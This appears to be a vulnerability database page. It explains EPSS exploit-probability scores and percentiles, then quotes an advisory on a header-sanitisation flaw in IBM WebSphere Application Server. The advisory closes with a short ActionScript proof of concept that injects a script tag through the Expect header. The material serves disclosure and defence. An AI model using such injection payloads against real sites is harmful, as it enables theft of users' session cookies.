EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/26457/info IBM WebSphere Application Server is prone to a security weakness regarding an HTTP request header. The software fails to sanitize a certain HTTP header when the data is redirected to an error message. An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks. var req:LoadVars=new LoadVars(); req.addRequestHeader("Expect", "<script>alert('gotcha!')</script>"); req.send("http://www.target.site/","_blank","GET");
